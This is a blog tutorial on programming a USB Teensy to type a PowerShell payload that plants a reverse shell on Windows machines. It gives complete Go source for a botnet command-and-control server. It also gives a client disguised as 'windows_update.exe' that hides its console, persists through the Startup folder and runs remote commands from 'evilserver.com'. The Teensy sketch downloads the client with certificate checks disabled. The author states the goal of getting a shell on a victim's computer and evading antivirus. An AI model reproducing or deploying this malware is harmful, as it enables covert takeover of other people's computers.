Tovi Jaeschke

Links:

Recent posts:

The USB Teensy: Reviving The Autorun Attack

The USB Teensy is a USB-based microcontroller that can be programmed to act as a human interface device (HID), such as a keyboard or mouse. The issue with HID's is that there is an inherent trust between the computer and the device, which can be exploited. Some similar devices to the USB Teensy are the USB Rubber Ducky and the Bash Bunny.

The question you must ask yourself when writing malicious code for a USB Teensy is What would I do if i had 5 minutes alone with a victims computer? I would attempt to get a reverse shell back to a server I control, so thats what I will be programming my Teensy to do.


If you are following along with this tutorial, the required software and setup instructions are located here.


The Shell

I'll start by writing a little windows reverse tcp shell in Go.
Why are you not just using a meterpreter for this?

  1. That would make a very short tutorial.
  2. I might want to add functionality that a meterpreter shell doesn't have.
  3. Antivirus Evasion.
  4. It's always better to write the code yourself, so you have a full understanding of what it does, and how it works. Don't be a Script Kiddie!!

Because the Command & Control server (C&C) is running on a computer/server that we own, I didn't worry too much about how large the binary would be. However, I did try to keep the client/bot code quite small.


vim server.go


package main

import (
	"bufio"
	"encoding/gob"
	"fmt"
	"net"
	"os"
	"os/exec"
	"os/signal"
	"regexp"
	"strconv"
	"strings"
	"sync"
	"syscall"
)

type ConnectionInfo struct {
	Hostname   string
	ipaddr     net.IPNet
	connection net.Conn
	Decoder    *gob.Decoder
	Encoder    *gob.Encoder
}

var (
	AllConnections = make(map[int]ConnectionInfo)
	ConnLen        = 0
	mutex          = &sync.Mutex{}
	BUFFERSIZE     = 1024
)

// Clear the screen
// This code will need to be changed if its being run on windows
func clear() {
	cmd := exec.Command("clear")
	cmd.Stdout = os.Stdout
	cmd.Run()
}

// Accept connections from clients
func AcceptConnections(ln net.Listener) {
	for {
		conn, err := ln.Accept()
		if err != nil {
			fmt.Println("ERROR: ", err)
			continue
		} else {
			var hostname string
			var connInterface net.IPNet
			decoderObj := gob.NewDecoder(conn)
			encoderObj := gob.NewEncoder(conn)
			err := decoderObj.Decode(&hostname)
			if err != nil {
				fmt.Println(err)
			}
			err = decoderObj.Decode(&connInterface)
			if err != nil {
				fmt.Println(err)
			} else {
				fmt.Println("\nConnection established: ", hostname, connInterface.IP)

				newConn := ConnectionInfo{Hostname: hostname, ipaddr: connInterface, connection: conn, Decoder: decoderObj, Encoder: encoderObj}
				mutex.Lock() // Lock all goroutines, just incase two clients connect at the same time
				AllConnections[ConnLen] = newConn // Add connection to array
				ConnLen++
				mutex.Unlock() // Unlock goroutines
			}
		}
	}
}

// Filter Newlines from GetUserInput()
func FilterNewlines(s string) string {
	return strings.Map(func(r rune) rune {
		switch r {
		case 0x000A, 0x000B, 0x000C, 0x000D, 0x0085, 0x2028, 0x2029:
			return -1
		default:
			return r
		}
	}, s)
}

// Get user input
func GetUserInput(prefix string) string {
	reader := bufio.NewReader(os.Stdin)
	fmt.Print(prefix)
	text, _ := reader.ReadString('\n')
	cmd := FilterNewlines(text)
	return cmd
}

// Continuously asks for user input, so the user can list or select connections
func BotnetShell() {
	for {
		cmd := GetUserInput("Bot command: ")
		if len(cmd) == 0 {
			continue
		} else if cmd == "help" {
			HelpOutput()
		} else if strings.Contains(cmd, "list") || strings.Contains(cmd, "ls") {
			ListConnections(cmd)
		} else if strings.Contains(cmd, "select") {
			SelectConnection(cmd)
		} else if cmd == "clear" {
			clear()
		} else if cmd == "exit" {
			for _, Conn := range AllConnections {
				if Conn.connection != nil {
					Conn.connection.Close()
				}

			}
			fmt.Println("Closed all connections")
			os.Exit(0)
		} else {
			fmt.Println("Command not recognised")
		}
	}
}

func HelpOutput() {
	fmt.Println("---------- HELP MESSAGE ----------")
	fmt.Println("---------- Botnet Shell ----------")
	fmt.Println("help:\t\t\tShows this help message")
	fmt.Println("list/ls:\t\tLists all active connections")
	fmt.Println("clear:\t\t\tClears the screen")
	fmt.Println("select :\tSelects a connection to send commands")
}

// Lists all devices currently connected to the C&C server
func ListConnections(cmd string) {
	// Lists all active bots
	fmt.Println("---------- Bots ----------")
	fmt.Println("Number of active bots:", len(AllConnections))
	for i, c := range AllConnections {
		fmt.Printf("%d: %s - ", i, c.Hostname)
		fmt.Println(c.ipaddr.IP)
	}
	fmt.Println("--------------------------")
}

// Select a connected device to send commmands to
func SelectConnection(cmd string) {
	if strings.Contains(cmd, " ") {
		selectionSplit := string(strings.Split(cmd, " ")[1])
		re := regexp.MustCompile("[0-9]+")
		selectionCheck := re.FindAllString(selectionSplit, -1)
		if len(selectionCheck) > 0 {
			selection, _ := strconv.Atoi(selectionCheck[0])
			if device, ok := AllConnections[selection]; ok {
				fmt.Println("You are now connected to", device.Hostname, "-", device.ipaddr)
				SendToSelected(device, selection)
			} else {
				fmt.Println("Not a valid selection (type list to display all connections)")
			}
		}
	} else {
		fmt.Println("Invalid useage. Type help for instructions on correct useage.")
	}

}

// Send shell commands to selected device, until the user types exit or the client disconnects
func SendToSelected(device ConnectionInfo, connNumber int) {
	for {
		cmd := GetUserInput(device.Hostname + ">")
		if len(cmd) != 0 {
			ExitCode := SendConnectionCommands(device, connNumber, cmd)
			if ExitCode {
				break
			}
		}
	}
}

func SendConnectionCommands(device ConnectionInfo, connNumber int, cmd string) bool {
	// Sends commands to selected target
	var output string
	if cmd == "quit" || cmd == "exit" {
		return true
	} else if cmd == "clear" {
		clear()
		return false
	}
	err := device.Encoder.Encode(cmd)
	if err != nil {
		fmt.Println("Connection died")
		CloseAndDelConn(connNumber)
		return true
	}
	err = device.Decoder.Decode(&output)
	if err != nil {
		if err.Error() == "EOF" {
			fmt.Println("Client Disconnected")
			CloseAndDelConn(connNumber)
			return true
		} else {
			fmt.Println(err)
			return true
		}
	} else {
		fmt.Println(output)
		return false
	}
}

// Closes connection, when the client disconnects or the server is shutdown
func CloseAndDelConn(ConnNum int) {
	AllConnections[ConnNum].connection.Close()
	mutex.Lock()
	delete(AllConnections, ConnNum)
	mutex.Unlock()
}

// Goroutine to close all connections if the server receives a SIGTERM
func CloseConnections() {
	c := make(chan os.Signal, 2)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	go func() {
		<-c
		fmt.Println("\r- Ctrl+C pressed in Terminal")
		for _, Conn := range AllConnections {
			if Conn.connection != nil {
				Conn.connection.Close()
			}

		}
		fmt.Println("Closed all connections")
		os.Exit(0)
	}()
}

func main() {
	CloseConnections()
	ln, err := net.Listen("tcp", ":9999") // Opens a listening server on 127.0.0.1:9999
	defer ln.Close() // Close listening server when main exits
	if err != nil {
		panic(err)
	}
	go AcceptConnections(ln) // Two goroutines listening for incoming connections
	go AcceptConnections(ln)

	BotnetShell() // The main shell prompt
}


vim client.go


package main

import (
	"encoding/gob"
	"github.com/AllenDang/w32" // Used to hide the cmd console
	"io"
	"net"
	"net/http"
	"os"
	"os/exec"
	"os/user"
	"strconv"
	"strings"
	"time"
)

var (
	HostName, _             = os.Hostname()
	CurrentWD, _            = os.Getwd()
	UserCurrent, _          = user.Current()
	HomeDir        string   = UserCurrent.HomeDir
	FileName       string   = "client.exe"
	FileNameCpy    string   = "windows_update.exe"
	KeyloggerChan  chan int = make(chan int)
	IPAddr         net.Addr
)

const (
	RPort      string = "9999"
	BUFFERSIZE        = 1024
)

// Send initial data to the C&C server after client first connects
func ConnectConn(conn net.Conn) {
	defer CloseConn(conn)
	IPAddr, _ := net.InterfaceAddrs()
	encoderObj := gob.NewEncoder(conn)
	decoderObj := gob.NewDecoder(conn)
	_ = encoderObj.Encode(HostName)
	_ = encoderObj.Encode(IPAddr[1])
	RunCommands(conn, encoderObj, decoderObj)
}

// Check for errors and send them to the C&C server
func CheckErr(Encoder *gob.Encoder, err error) bool {
	if err != nil {
		err = Encoder.Encode(err.Error())
		return true
	} else {
		return false
	}
}

// Lists directory contents, as dir does not work as it is not an external command
func ListDir(Encoder *gob.Encoder, cmd string) {
	var DirToList string
	if strings.Contains(cmd, " ") {
		DirToList = cmd[3:]
	} else {
		DirToList = "."
	}
	dir, err := os.Open(DirToList)
	if CheckErr(Encoder, err) {
		return
	}
	defer dir.Close()
	fi, err := dir.Stat()
	if CheckErr(Encoder, err) {
		return
	}
	if fi.IsDir() {
		fis, err := dir.Readdir(-1) // -1 means return all the FileInfos
		if CheckErr(Encoder, err) {
			return
		}
		var DirContents string
		for _, fileinfo := range fis {
			if fileinfo.IsDir() {
				DirContents += "Dir: " + strconv.Itoa(int(fileinfo.Mode())) + " " + fileinfo.ModTime().String() + " " + string(fileinfo.Name()) + "\n"
			} else {
				DirContents += "File: " + strconv.Itoa(int(fileinfo.Mode())) + " " + fileinfo.ModTime().String() + " " + string(fileinfo.Name()) + "\n"
			}
		}
		err = Encoder.Encode(DirContents)
	}
}

// Send native command output back to the C&C server
func SendCmdOutputToMaster(conn net.Conn, Encoder *gob.Encoder, cmd string) {
	if strings.Contains(cmd, " ") {
		placeholder := strings.Split(cmd, " ")
		executable := placeholder[0]
		args := placeholder[1:]
		execCmd := exec.Command(executable, args...)
		stdout, err := execCmd.Output()
		if CheckErr(Encoder, err) {
			return
		} else if len(stdout) > 0 {
			err = Encoder.Encode(string(stdout))
		} else {
			err = Encoder.Encode("successful")
		}
		if CheckErr(Encoder, err) {
			return
		}
	} else {
		execCmd := exec.Command(cmd)
		stdout, err := execCmd.Output()
		if CheckErr(Encoder, err) {
			return
		} else if len(stdout) > 0 {
			err = Encoder.Encode(string(stdout))
		} else {
			err = Encoder.Encode("successful")
		}
		if CheckErr(Encoder, err) {
			return
		}
	}
}

// Gets the current working directory
func getPwd(Encoder *gob.Encoder) {
	_ = Encoder.Encode(CurrentWD)
}

// The cd command does not work through go, because it is part of the shell
// and not an external program
func ChangeWorkingDir(conn net.Conn, Encoder *gob.Encoder, cmd string) {
	if cmd[:3] == "cd " {
		err := os.Chdir(cmd[3:])
		if CheckErr(Encoder, err) {
			return
		}
		CurrentWD, err = os.Getwd()
		if CheckErr(Encoder, err) {
			return
		}
		err = Encoder.Encode(CurrentWD)
	}
}

func RunCommands(conn net.Conn, Encoder *gob.Encoder, Decoder *gob.Decoder) {
	for {
		var cmd string
		err := Decoder.Decode(&cmd)
		if err != nil {
			break
		}
		if strings.Contains(cmd, "cd ") {
			ChangeWorkingDir(conn, Encoder, cmd)
		} else if strings.Contains(cmd, "ls") {
			ListDir(Encoder, cmd)
		} else if strings.Contains(cmd, "pwd") {
			getPwd(Encoder)
		} else {
			SendCmdOutputToMaster(conn, Encoder, cmd)
		}

	}
}

// Pings microsoft every 5 minutes to check for an internet connection
func CheckConnection() bool {
	_, err := http.Get("https://www.microsoft.com/en-au")
	if err != nil {
		return false
	}
	return true
}

func CloseConn(conn net.Conn) {
	conn.Close()
}

// Hides the cmd console
func HideConsole() {
	console := w32.GetConsoleWindow()
	if console == 0 {
		return
	}
	_, _ = w32.GetWindowThreadProcessId(console)
	w32.ShowWindow(console, w32.SW_HIDE)
}

// Checks which startup directory to use
func GetStartupFile() (out *os.File) {
	var startupDir string = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + FileNameCpy
	if _, err := os.Stat(startupDir); err == nil {
		_, _ = exec.Command("Taskkill", "/F", "/IM", FileNameCpy).Output()
		_ = os.Remove(startupDir)
	}
	out, err := os.Create(startupDir)
	if err != nil && os.IsPermission(err) {
		startupDir = HomeDir + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + FileNameCpy
		out, _ := os.Create(startupDir)
		return out
	}
	return out
}

// Copies itself to the startup directory
func CopyToStartup() {
	if CurrentWD == "C:\\Windows\\system32" {
		return
	}
	src := CurrentWD + "\\" + FileName
	in, err := os.Open(src)
	if err != nil {
		return
	}
	out := GetStartupFile()
	defer in.Close()
	defer func() {
		cerr := out.Close()
		if err == nil {
			err = cerr
		}
	}()
	if _, err = io.Copy(out, in); err != nil {
		return
	}
	err = out.Sync()
	if err != nil {
		return
	}
	return
}

func main() {
	HideConsole()
	CopyToStartup()
	timeOut := time.Duration(30) * time.Second // Defines timeouts
	sleepTime := time.Duration(5) * time.Minute
	for {
		checkNet := CheckConnection()
		if checkNet {
			RHost := "evilserver.com" // Malicious server ip/hostname
			conn, _ := net.DialTimeout("tcp", RHost+":"+RPort, timeOut) // Attempts to connect to the  C&C every 30 seconds
			if conn == nil {
				time.Sleep(timeOut)
			} else if conn != nil {
				time.Sleep(time.Duration(1) * time.Second)
				ConnectConn(conn)
			}
		} else {
			time.Sleep(sleepTime)
		}
	}
}

Now that out code has been written, time to compile it


ls
client.go  server.go
go build -o C_and_C server.go
export CC=/usr/bin/x86_64-w64-mingw32-gcc; env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build client.go
ls
C_and_C  client.exe  client.go  server.go

The USB Teensy Code

The USB Teensy is a microcontoller, so it needs to be flashed with C code compiled into a .hex file. I upload my payload to my server, and begin writing the code.


// Sets some global variables
const unsigned int ledPin = 13;
const unsigned int delayTime = 1500;

void setup() // Runs once
{
  delay(1000);

  // Turns on the LED so you know its working
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, HIGH);

  waitForDrivers(); // Waits for the Teensy to be recognized, and ensures caps lock is off

  pwn();

}

// Open an application on Windows via Run
void openapp(String app)
{
  // Windows Key + R to open Run
  key(KEY_R , MODIFIERKEY_RIGHT_GUI);
  delay(delayTime);

  // Type the App you want to open
  Keyboard.print(app);
  key(KEY_ENTER, 0);
  Keyboard.send_now();
  delay(delayTime);
}

void key(int KEY, int MODIFIER)
 {
  Keyboard.set_modifier(MODIFIER);
  Keyboard.set_key1(KEY);
  Keyboard.send_now();
  delay(20);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(20);
 }

void waitForDrivers()
{
    while (!(keyboard_leds & 2))
    {
        key(KEY_CAPS_LOCK, 0);
    }
    if (keyboard_leds & 2)
    {
        key(KEY_CAPS_LOCK, 0);
    }
}


void pwn()
{

  delay(delayTime/2);
  openapp("powershell"); // Open powershell
  
  delay(delayTime);

  Keyboard.println("Function Pwn () {"); // Define powershell function to download payload
  Keyboard.print("    (New-Object System.Net.WebClient).DownloadFile(\"http://evilserver.com/client.exe\", \"C:\\Users\\");
  Keyboard.print("$env:UserName");
  Keyboard.println("\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\client.exe\")");
  Keyboard.println("}");
  Keyboard.println("");
  Keyboard.println("");
  Keyboard.println("[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}"); // Prevent SSL/TLS errors
  delay(delayTime);
  // Tries to download the file until its successful
  Keyboard.println("while ( !(Test-Path \"C:\\Users\\$env:UserName\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\client.exe\" ) ) { Pwn }; exit");

  delay(delayTime); // Just makes sure everything has been typed out
}

void loop() // Blinks when its done
{
  digitalWrite(ledPin, HIGH);
  delay(80);
  digitalWrite(ledPin, LOW);
  delay(80);
}

Select the right Board and USB Type settings under the Tools menu, then click Verify/Compile under the Sketch menu. Lastly, connect your Teensy up to your computer, and press the button on the board to flash it. Teensy deployment demo